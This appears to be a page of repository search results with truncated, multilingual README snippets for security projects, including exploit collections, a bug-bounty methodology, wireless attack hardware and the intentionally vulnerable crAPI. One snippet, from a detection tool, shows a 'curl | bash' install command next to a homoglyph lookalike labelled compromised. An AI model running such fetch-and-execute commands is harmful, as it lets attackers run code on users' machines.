1470200 matches found
tbhm
漏洞猎手方法论（TBHM） 欢迎！本仓库汇集了 技巧 窍门 工具 数据分析 以及笔记 以上内容与 Web 应用安全评估相关，更具体地说是针对漏洞赏金计划中的漏洞猎捕。 当前各部分划分如下： 动手之前 学习资源 内容创作者与影响者 侦察 应用分析 应用映射 授权与会话 战术性模糊测试 XSS SQLi 文件包含 CSRF 权限、传输与逻辑 Web 服务 移动端漏洞 其他 辅助信息 该项目的目标是整合更多最新资源，供漏洞猎手和 Web 黑客在日常工作中使用。 @jhaddix 历史 标题| 会议| 版本| 链接 ---|---|---|--- How to Shot Web| Defcon...
ExploitDev
ExploitDev 与我的博客 https://www.forrest-orr.net/ 相关的各种工具、PoC 和实验...
pentaho-exploits
与 https://research.aurainfosec.io/pentest/pentah0wnage 相关的漏洞利用 注意：某些内容可能无法正常工作 感谢我的雇主 Aura Information Security 为我提供时间来完成这个项目。...
tirith
tirith ブラウザならこれを検知できる。ターミナルではできない。 Website | Docs | SKILL.md | Changelog | Releases 独立したオープンソースプロジェクト。ホスティングは Vercel Open Source Program（Spring 2026 Cohort）の支援を受けています。 違いがわかりますか？ curl -sSL https://install.example-cli.dev | bash safe curl -sSL https://іnstall.example-clі.dev | bash compromised...
Kernel-Exploits
内核漏洞利用 内核漏洞利用代码仓库...
OffensiveCon20
此存储库没有 README。...
pdfgrab
pdfgrab 版本 0.4.9 这是什么？ 这是一个重生的工具，用于恐龙在地球上游荡的时代。 基本上，它分析 PDF 文件的元数据。你可以将其指向一个文件或包含 PDF 的目录。 你可以给它一个 PDF 的 URL，或使用内置的 googlesearch（感谢 mario vilas class）在目标站点搜索 PDF，下载并分析它们。 0.4.9 有什么新功能？ 将报告方法导出到 libreport.py 添加了用于禁用不同报告方法的可选参数 让 html 报告更漂亮一点 添加了在分析后生成 html 报告的函数 将请求和数据存储导出到新的库 代码修复和更清晰的错误处理 移除了搜索标...
crAPI
crAPI c ompletely r idiculous API （crAPI）は、APIセキュリティにおける10の主要なリスクを理解するのに役立ちます。crAPIは意図的に脆弱に設計されていますが、学習やトレーニングのために安全に実行できます。 crAPIはマイクロサービスアーキテクチャ上に構築されたモダンなアプリケーションです。初めての車を購入する時が来たら、アカウントに登録して旅を始めましょう。crAPIの詳細については、crAPIの概要をご確認ください。 クイックスタートガイド アプリケーションワークフロー（Happy Path）...
ChameleonMini
ChameleonMini 这不是 ChameleonMini 的官方仓库，ChameleonMini 是一款可自由编程的便携式 NFC 安全分析工具，能够模拟和克隆非接触式卡、读取 RFID 标签以及嗅探/记录 RF 数据。本仓库增加了对 Chameleon Tiny 的支持。 我们的项目基于 Kasper & Oswald 的开源项目 ChameleonMini RevG。他们也有自己的网店。 信息： Chameleon Tiny 网站：这里 Chameleon BLE API：这里 Doxygen：这里 用于查看部分文档 二进制文件：这里 安装：这里...
ESP32-DIV
📖 探索 ESP32-DIV Wiki 项目的完整故事、深入教程以及所有功能都在 Wiki 中！从 Wi-Fi 解除认证攻击到 Sub-GHz 信号重放，Wiki 涵盖了入门所需的一切。立即点击探索！ ⚡ 跳过 IDE — 直接从浏览器刷写: cifertech.github.io/ESP32-DIV 🌟 关于项目 ESP32-DIV 是一款基于 ESP32-S3 的开源多频段无线工具套件。它涵盖 Wi-Fi、BLE、2.4GHz、Sub-GHz、IR、RFID/NFC 和 GPS，全部集成在带有触摸屏 UI 的紧凑型手持设备中。无论您是在分析无线流量、测试信号韧性，还是构建自己的 RF...
awesome-connected-things-sec
🔐 Awesome Connected Things Security Resources Investigación de seguridad y técnicas de explotación para sistemas IoT, embebidos, industriales y automotrices. !https://img.shields.io/badge/%F0%9F%A4%96ROBOTIC...
seccubus
About Seccubus Seccubus automates regular vulnerability scans with various tools and aids security people in the fast analysis of its output, both on the first scan and on repeated scans. On repeated scan delta reporting ensures that findings only need to be judged when they first appear in the...
android-security-awesome
android-security-awesome Androidセキュリティ関連リソースのコレクションです。 1. ツール 2. 学術・研究・出版物・書籍 3. エクスプロイト・脆弱性・バグ ツール オンラインアナライザー 1. Appknox - 有料 2. Virustotal 3. NowSecure Lab Automated - AndroidおよびiOSモバイルアプリのセキュリティテストを行うためのエンタープライズ向けツール。Lab Automatedは、クラウド上の実機での動的解析と静的解析を特徴とし、数分で結果を返します。有料 4. App Detonator -...
flightsim
ネットワークフライトシミュレーター flightsim は、悪意のあるネットワークトラフィックを生成し、セキュリティチームがセキュリティコントロールやネットワークの可視性を評価するのに役立つ軽量ユーティリティです。このツールは、DNSトンネリング、DGAトラフィック、既知のアクティブなC2宛先へのリクエスト、その他の不審なトラフィックパターンをシミュレートするテストを実行します。 インストール お使いのOS向けの最新のflightsimバイナリをGitHub...
flightsim
Network Flight Simulator flightsim is a lightweight utility used to generate malicious network traffic and help security teams to evaluate security controls and network visibility. The tool performs tests to simulate DNS tunneling, DGA traffic, requests to known active C2 destinations, and other...